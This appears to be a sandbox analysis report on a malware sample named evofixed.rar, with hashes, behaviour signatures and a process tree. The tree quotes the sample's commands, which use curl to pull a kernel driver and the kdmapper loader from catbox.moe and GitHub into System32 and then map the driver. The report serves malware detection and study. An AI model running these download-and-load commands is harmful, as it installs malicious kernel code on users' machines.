63b0d8973e7c130a7505d9b081b0b717f7004defba1fbeb28b14c2cc11142c1b

Analysis

user interaction
yes
max time kernel
209s
max time network
211s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
14/07/2026, 19:52

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
evofixed.rar
Size 476KB
Sample260714-ylldpae17s
SHA256 63b0d8973e7c130a7505d9b081b0b717f7004defba1fbeb28b14c2cc11142c1b
MD5 459dcddc51b9b19504125f4e1a2c679f
SHA1 d549c834fdc0f90f51326c0faa6c0ff487a462ce
SHA512 7689b1dd84706006a98690172e5f87bf041572ac65ac5995adc9ae86c628c4c8985fa728ab892b8204f4010efc3c0cc2b0e0fd999abc53e9b71d70a09b280095
SSDEEP 12288:Y3CSJpduOMTvFZlOX6jIWe0Q7IwiAbgA/6BqAlvh1NIi79Qs:Y3CG/vM7FZ86jIWXkPrB/M9FII9
TLSH
T108A42385DA9B92CC53DA287B08AD295A1C17D6F92CF151733396CE074B0B9835BCD48F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

Malware Config

Signatures

Downloads MZ/PE file 1 IoCs

flow	pid	Process
72	4732	curl.exe

Executes dropped EXE 2 IoCs

pid	Process
3328	evofixed.exe
968	kdmapper.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
71	raw.githubusercontent.com
72	raw.githubusercontent.com

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\kdmapper.exe	curl.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	7zFM.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	7zFM.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
968	kdmapper.exe
968	kdmapper.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3732	7zFM.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeRestorePrivilege	3732	7zFM.exe
Token: 35	3732	7zFM.exe
Token: SeSecurityPrivilege	3732	7zFM.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
3732	7zFM.exe
3732	7zFM.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 3328 wrote to memory of 3380	3328	evofixed.exe	104
PID 3328 wrote to memory of 1788	3328	evofixed.exe	105
PID 3328 wrote to memory of 2740	3328	evofixed.exe	106
PID 2740 wrote to memory of 5104	2740	cmd.exe	107
PID 3328 wrote to memory of 3112	3328	evofixed.exe	109
PID 3112 wrote to memory of 4732	3112	cmd.exe	110
PID 3328 wrote to memory of 968	3328	evofixed.exe	119
PID 3328 wrote to memory of 1788	3328	evofixed.exe	120
PID 3328 wrote to memory of 3880	3328	evofixed.exe	121
PID 3328 wrote to memory of 2664	3328	evofixed.exe	122

C:\Program Files\7-Zip\7zFM.exe
"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\evofixed.rar"
1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:3732

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4840

C:\Users\Admin\Desktop\evofixed\evofixed.exe
"C:\Users\Admin\Desktop\evofixed\evofixed.exe"
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3328
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:3380
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:1788
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl --silent https://files.catbox.moe/x7ic4m.sys --output C:\Windows\System32\hobo.sys >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2740
- - C:\Windows\system32\curl.exe
    curl --silent https://files.catbox.moe/x7ic4m.sys --output C:\Windows\System32\hobo.sys
    3⤵
    PID:5104
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl -L --silent https://github.com/R3L8ntLe55/map/raw/refs/heads/main/kdmapper_Release.exe --output C:\Windows\System32\kdmapper.exe >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3112
- - C:\Windows\system32\curl.exe
    curl -L --silent https://github.com/R3L8ntLe55/map/raw/refs/heads/main/kdmapper_Release.exe --output C:\Windows\System32\kdmapper.exe
    3⤵
    - Downloads MZ/PE file
    - Drops file in System32 directory
    PID:4732
- C:\Windows\System32\kdmapper.exe
  "C:\Windows\System32\kdmapper.exe" C:\Windows\System32\hobo.sys
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:968
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:1788
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:3880
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c pause
  2⤵
  PID:2664

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

evofixed.exe

Path C:\Users\Admin\Desktop\evofixed\evofixed.exe
Size 971KB
SHA256 288c31cbdb0dd340b1b6d7f3ed03b50cf1a2559b7847818fefbe7a9b0835397d
MD5 ed77ca1f4208771d795533359331c139
SHA1 acbab936b2c06c82424761d43ce250e196880611
SHA512 954eaf96d827d335f9e03f34334cf610260e3afeb420b1c031b1d78f4ea61075c58fcbb648db30882237752b52a8c73b5c8fa15b76cb48ead991c2677264e839
SSDEEP 24576:42zfCUuZuPmsTzmeRJSuPxni3nfOcdh+YW28:42zEiXzmWB5i3nf1h+z2
TLSH
T1C7259E05B7F445B8D17BE138C9A3EB17F63674480730AADB27E04A582F677E04A76B21
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

kdmapper.exe

Path C:\Windows\System32\kdmapper.exe
Size 150KB
SHA256 611b7cf5d5f9193cf7ba27260f4b7903fc0b29c8791d4e4ca2881ff14feb636d
MD5 61e5aafec83b8c4d6b310dc54ed4c827
SHA1 fa0c68418265677b6d7ab4fe07a26340482dfb25
SHA512 7545ad1265c4871900357ecac0598a9db0fd8c627879726d9afe4b9344387df2270d761575de5c445503d2b859d50bd51f9c082fb96095186d9f3ab1ada5cc46
SSDEEP 3072:soRUjZEYLIDfVEDykwUmJTQSaMm5/6onTxIl4z:NUZEYLqf4jcWlTh
TLSH
T1D1E32A1797A5106EF1B7D6B9CAB24A11EB717C550B74D2CF135048BA0F22BD0BA3EB12
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download